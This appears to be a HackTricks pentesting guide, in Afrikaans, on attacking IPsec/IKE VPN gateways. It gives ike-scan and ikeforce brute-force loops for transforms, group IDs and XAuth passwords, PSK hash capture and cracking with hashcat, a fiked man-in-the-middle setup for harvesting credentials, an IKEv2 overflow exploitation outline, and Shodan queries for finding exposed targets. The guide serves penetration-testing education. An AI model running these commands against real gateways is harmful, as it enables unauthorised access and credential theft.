500/udp - Pentesting IPsec/IKE VPN

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

IPsec word wyd erken as die primêre tegnologie om kommunikasie tussen netwerke (LAN-to-LAN) en van afgeleë gebruikers na die netwerk-gateway (remote access) te beveilig, en dien as die ruggraat van ondernemings-VPN-oplossings.

Die vestiging van ’n security association (SA) tussen twee punte word bestuur deur IKE, wat onder ISAKMP val, ’n protokol ontwerp vir authentisering en sleuteluitruiling. Hierdie proses ontvou in verskeie fases:

  • Fase 1: ’n Geselekteerde kanaal word geskep tussen twee eindpunte. Dit word bereik deur die gebruik van ’n Pre-Shared Key (PSK) of sertifikate, deur gebruik te maak van main mode, wat drie paar boodskappe behels, of aggressive mode.
  • Fase 1.5: Al is dit nie verpligtend nie, verifieer hierdie fase, bekend as die Extended Authentication Phase, die identiteit van die gebruiker wat probeer koppel deur ’n gebruikersnaam en wagwoord te vereis.
  • Fase 2: Hierdie fase is toegewy aan die onderhandeling van die parameters vir die beveiliging van data met ESP en AH. Dit maak dit moontlik om algoritmes te gebruik wat verskil van dié in Fase 1 om Perfect Forward Secrecy (PFS) te verseker, wat die sekuriteit verhoog.

Standaardpoort: 500/udp

Ook algemeen blootgestel: 4500/udp (NAT Traversal)

Ontdek die diens met behulp van nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Vind ’n geldige transformasie

Die IPSec-konfigurasie kan slegs ingestel wees om een of ’n paar transformasies te aanvaar. ’n Transformasie is ’n kombinasie van waardes. Elke transformasie bevat ’n aantal attributte soos DES of 3DES as die enkripsie-algoritme, SHA of MD5 as die integriteitsalgoritme, ’n pre-shared key as die outentiseringstipe, Diffie-Hellman 1 of 2 as die sleutel verdelingsalgoritme en 28800 sekondes as die leeftyd.

Dan, die eerste ding wat jy moet doen is om ’n geldige transformasie te vind, sodat die bediener met jou sal praat. Hiervoor kan jy die hulpmiddel ike-scan gebruik. Standaard werk Ike-scan in main mode, en stuur ’n pakket na die gateway met ’n ISAKMP header en ’n enkele voorstel met agt transformasies daarin.

Afhangend van die reaksie kan jy sekere inligting oor die eindpunt verkry:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Soos jy in die vorige antwoord kan sien, is daar ’n veld met die naam AUTH met die waarde PSK. Dit beteken dat die VPN gekonfigureer is met ’n vooraf gedeelde sleutel (en dit is regtig goed vir ’n pentester).
Die waarde van die laaste reël is ook baie belangrik:

  • 0 returned handshake; 0 returned notify: Dit beteken die teiken is not an IPsec gateway.
  • 1 returned handshake; 0 returned notify: Dit beteken die teiken is gekonfigureer vir IPsec en is bereid om IKE negotiation uit te voer, en een of meer van die transforms wat jy voorgestel het, is aanvaarbaar (’n geldige transform sal in die output gewys word).
  • 0 returned handshake; 1 returned notify: VPN gateways reageer met ’n notify boodskap wanneer geen van die transforms aanvaarbaar is nie (alhoewel sommige gateways dit nie doen nie; in daardie geval moet verdere analise en ’n hersiene voorstel probeer word).

In hierdie geval het ons reeds ’n geldige transform, maar as jy in die derde geval is, moet jy ’n bietjie brute-force doen om ’n geldige transform te vind:

Eerstens moet jy al die moontlike transformations skep:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

En dan brute-force elkeen met ike-scan (dit kan ’n paar minute neem):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

As die brute-force nie gewerk het nie, reageer die bediener dalk sonder handshakes selfs op geldige transforms. Dan kan jy dieselfde brute-force probeer maar met aggressive mode:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Hopelik word ’n geldige transformasie teruggegee.
Jy kan die dieselfde attack probeer met iker.py.
Jy kan ook probeer om transformasies te brute force met ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH Group: 14 = 2048-bit MODP en 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in hierdie geval). Die --trans formaat is $Enc,$Hash,$Auth,$DH

Cisco raai om DH groups 1 en 2 te vermy omdat hulle nie sterk genoeg is nie. Kenners meen dat lande met groot hulpbronne relatief maklik die enkripsie van data wat hierdie swakker groepe gebruik, kan kraak. Dit word gedoen deur ’n spesiale metode wat hulle voorberei om die kodes vinnig te kraak. Alhoewel dit baie kos om hierdie metode op te stel, stel dit daardie magtige lande in staat om die geïnkripteerde data in reële tyd te lees as dit ’n groep gebruik wat nie sterk is nie (soos 1,024-bit of kleiner).

Server fingerprinting

Dan kan jy ike-scan gebruik om te probeer die verskaffer te ontdek van die toestel. Die tool stuur ’n aanvanklike voorstel en stop dan met herhaling. Daarna sal dit die tydverskil tussen die ontvangde boodskappe van die server en die ooreenstemmende reaksiepatroon ontleed, en die pentester kan suksesvol die VPN-gateway verskaffer vingerafdruk. Verder sal sommige VPN servers die opsionele Vendor ID (VID) payload met IKE gebruik.

Spesifiseer die geldige transformasie indien nodig (met –trans)

As IKE ontdek wie die verskaffer is, sal dit dit uitdruk:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Dit kan ook bereik word met nmap script ike-version

IKEv2-spesifiek: WatchGuard Vendor ID weergawe fingerprinting

Sommige IKEv2 daemons sluit nie-standaard Vendor ID payloads in die IKE_SA_INIT-antwoord in. WatchGuard Fireware OS kodeer die toestel-weergawe/-build direk binne die VID, wat enkelpakket, pre-auth fingerprinting moontlik maak.

  • Transport: UDP/500 (en UDP/4500 vir NAT-T)
  • Pakket: IKE_SA_INIT-antwoord bevat een of meer Vendor ID payloads
  • WatchGuard-formaat: 32-byte hash gevolg deur base64 wat dekodeer na bv. VN=12.11.3 BN=719894

Voorbeeld van die rou bytes uit ’n WatchGuard VID-payload (laaste 12 bytes is base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Vinnige uittrekking in ’n shell wanneer jy die base64 tail het:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Aantekeninge

  • Dit is nie deel van enige IKEv2 RFC nie. Beskou dit as ’n verkoper-eienaardigheid vir vinnige bepaling van blootgestelde/kwesbare Fireware OS-weergawe(n).
  • Jy hoef slegs ’n IKE_SA_INIT-antwoord uit te lok; geen verifikasie is vereis nie.

Vind die korrekte ID (groepnaam)

Om die hash te kan vasvang benodig jy ’n geldige transformasie wat Aggressive mode ondersteun en die korrekte ID (groepnaam). Jy sal waarskynlik nie die geldige groepnaam ken nie, so jy sal dit moet brute-force.
Om dit te doen beveel ek twee metodes aan:

Bruteforcing ID met ike-scan

Eerstens probeer om ’n versoek te stuur met ’n vals ID om die hash in te samel (“-P”):

ike-scan -P -M -A -n fakeID <IP>

As geen hash teruggestuur word nie, sal hierdie metode van brute forcing waarskynlik werk. As ’n hash teruggestuur word, beteken dit dat ’n fake hash vir ’n fake ID teruggestuur gaan word, so hierdie metode sal nie betroubaar wees om die ID te brute-force. Byvoorbeeld, ’n fake hash kan teruggestuur word (dit gebeur in moderne weergawes):

Maar soos ek gesê het, as geen hash teruggestuur word nie, moet jy probeer om algemene groepsname met ike-scan te brute-force.

Hierdie script sal probeer om moontlike IDs te brute-force en sal die IDs teruggee waar ’n geldige handshake teruggestuur word (dit sal ’n geldige groepsnaam wees).

As jy ’n spesifieke transformation ontdek het, voeg dit by die ike-scan-opdrag. En as jy verskeie transformations ontdek het, voel vry om ’n nuwe lus by te voeg om almal te probeer (jy moet almal probeer totdat een van hulle behoorlik werk).

Jy kan die dictionary of ikeforce of the one in seclists van algemene groepsname gebruik om hulle te brute-force:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Bruteforcing ID with Iker

iker.py gebruik ook ike-scan om moontlike groepname te bruteforce. Dit volg sy eie metode om ’n geldige ID te vind gebaseer op die uitvoer van ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py is ’n hulpmiddel wat ook gebruik kan word om IDs brute force te doen. Hierdie hulpmiddel sal verskillende vulnerabilities probeer exploit wat gebruik kan word om te onderskei tussen ’n geldige en ’n nie‑geldige ID (kan false positives en false negatives hê, daarom verkies ek, indien moontlik, die ike-scan metode).

By default ikeforce stuur aan die begin ’n paar ewekansige ids om die gedrag van die bediener te kontroleer en die taktiek te bepaal.

  • Die eerste metode is om die groepname te brute-force deur te soek na die inligting Dead Peer Detection DPD van Cisco-stelsels (hierdie inligting word slegs deur die bediener teruggestuur as die groepnaam korrek is).
  • Die tweede metode kontroleer die aantal reaksies wat na elke poging gestuur word, omdat soms meer pakkette gestuur word wanneer die korrekte id gebruik word.
  • Die derde metode bestaan uit soek na “INVALID-ID-INFORMATION” in die reaksie op ’n onjuiste ID.
  • Ten slotte, as die bediener niks op die kontroles terugstuur nie, sal ikeforce probeer om die bediener te brute-force en kyk of die bediener by die stuur van die korrekte id met ’n pakkie terugreageer.
    Natuurlik is die doel van die brute forcing van die id om die PSK te kry wanneer jy ’n geldige id het. Dan, met die id en PSK sal jy die XAUTH moet bruteforce (as dit geaktiveer is).

As jy ’n spesifieke transformasie ontdek het, voeg dit by die ikeforce-opdrag. En as jy verskeie transformasies ontdek het, voel vry om ’n nuwe loop by te voeg om almal te probeer (jy moet almal probeer totdat een daarvan behoorlik werk).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): Daar is ook moontlik om geldige gebruikersname te verkry deur die verbinding tussen die VPN client en server te sniff, aangesien die eerste aggressive mode packet wat die client ID bevat, onversleuteld gestuur word

Aggressive Mode identity leakage

Aggressive Mode moet die ID vroeg stuur sodat die gateway die regte PSK kan kies wanneer multiple groups/users bestaan. Dit beteken die identity is exposed pre-auth, anders as Main Mode waar dit in later pakkette versleuteld is. Jy kan dit vinnig onttrek:

ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)

Indien Aggressive Mode aangeskakel is, capture ’n crackable PSK handshake en crack dit offline (hashcat mode 5400):

ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt

Herwonne PSKs word dikwels hergebruik as inlogbewyse vir ander dienste (SSH, VPN client auth), dus toets dit teen blootgestelde dienste.

Capturing & cracking the hash

Laastens, as jy ’n valid transformation en die group name gevind het en as die aggressive mode toegelaat word, kan jy baie maklik die crackable hash gryp:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Die hash sal binne hash.txt gestoor word.

Jy kan psk-crack, john (met behulp van ikescan2john.py) en hashcat gebruik om die hash te crack:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE gekombineer met ’n Pre-Shared Key (PSK) word algemeen gebruik vir groepverifikasie. Hierdie metode word aangevul deur XAuth (Extended Authentication), wat ’n addisionele laag van gebruikersverifikasie inbring. Sulke verifikasie maak gewoonlik gebruik van dienste soos Microsoft Active Directory, RADIUS, of vergelykbare stelsels.

Met die oorgang na IKEv2 is daar ’n noemenswaardige skuif waar EAP (Extensible Authentication Protocol) gebruik word in plek van XAuth om gebruikers te verifieer. Hierdie verandering beklemtoon ’n evolusie in verifikasiepraktyke binne veilige kommunikasieprotokolle.

Plaaslike netwerk MitM om inlogbewyse vas te vang

Jy kan dus die login-data vasvang met behulp van fiked en kyk of daar ’n standaard gebruikersnaam is (Jy moet IKE-verkeer na fiked herlei vir sniffing, wat met behulp van ARP spoofing gedoen kan word, more info). Fiked sal as ’n VPN-endpunt optree en die XAuth-inlogbewyse vasvang:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Ook, gebruik IPSec om ’n MitM-aanval te probeer uitvoer en alle verkeer na port 500 te blokkeer; as die IPSec-tunnel nie gevestig kan word nie, mag die verkeer dalk onversleuteld gestuur word.

Brute-forcing XAUTH username en password met ikeforce

Om die brute force op die XAUTH te doen (wanneer jy ’n geldige groepnaam id en die psk ken) kan jy ’n username of ’n lys usernames en ’n lys passwords gebruik:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Op hierdie manier sal ikeforce probeer koppel met elke kombinasie van username:password.

As jy een of verskeie geldige transformasies gevind het, gebruik hulle net soos in die vorige stappe.

Outentisering met ’n IPSEC VPN

In Kali word VPNC gebruik om IPsec-tonnels op te stel. Die profiele moet in die gids /etc/vpnc/ wees. Jy kan hierdie profiele begin met die opdrag vpnc.

Die volgende opdragte en konfigurasies illustreer die proses om ’n VPN-verbinding met VPNC op te stel:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In hierdie opstelling:

  • Vervang [VPN_GATEWAY_IP] met die werklike IP-adres van die VPN-gateway.
  • Vervang [VPN_CONNECTION_ID] met die identifiseerder vir die VPN-verbinding.
  • Vervang [VPN_GROUP_SECRET] met die VPN se group secret.
  • Vervang [VPN_USERNAME] en [VPN_PASSWORD] met die VPN-outentiseringsbewyse.
  • [PID] simboliseer die proses-ID wat toegewys sal word wanneer vpnc inisieer.

Maak seker dat werklike, veilige waardes gebruik word om die plekhouers te vervang wanneer die VPN gekonfigureer word.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Moderne VPN-appliances openbaar dikwels IKEv2 op UDP/500 (en UDP/4500 vir NAT-T). ’n Algemene pre-autentiserings-aanvalsoppervlak is die parsing van Identification (IDi) en Certificate payloads tydens IKE_SA_AUTH.

Hoëvlak eksploitasievloei wanneer ’n kwesbare IKEv2 parser bestaan:

  • Stuur ’n geldige IKE_SA_INIT om transforms te onderhandel en Diffie–Hellman te voltooi.
  • Volg met IKE_SA_AUTH wat ’n IDi dra wat die fout aktiveer (bv. ’n oorgroot Identification wat in ’n vaste-grootte stack buffer gekopieer word voor sertifikaatvalidasie).
  • Die gevolglike geheuekorrupsie kan beheersing van saved-registers en return-adres lewer.
  • Met NX geaktiveer maar ander mitigasies afwesig (geen PIE/canaries), bou ’n ROP-ketting om mprotect op ’n stack-bladsy aan te roep en draai dan uitvoering na ingevoegde shellcode of na ’n resident interpreter (bv. /usr/bin/python3) as daar geen /bin/sh beskikbaar is nie.

Voorbeeld standaard transforms waargeneem op sommige IKEv2 appliances (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Praktiese wenke

  • Teiken beide UDP/500 en UDP/4500; NAT-T servers mag slegs op 4500 antwoord.
  • Verhoog die ontvangbuffergrootte en timeouts vir UDP-gebaseerde skandeerders om pakketverlies te vermy.
  • As die diens custom Vendor IDs uitstal (sien afdeling hierbo), gebruik hulle om vinnig kwesbare weergawes te fingerprint voordat enige exploit-verkeer probeer word.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks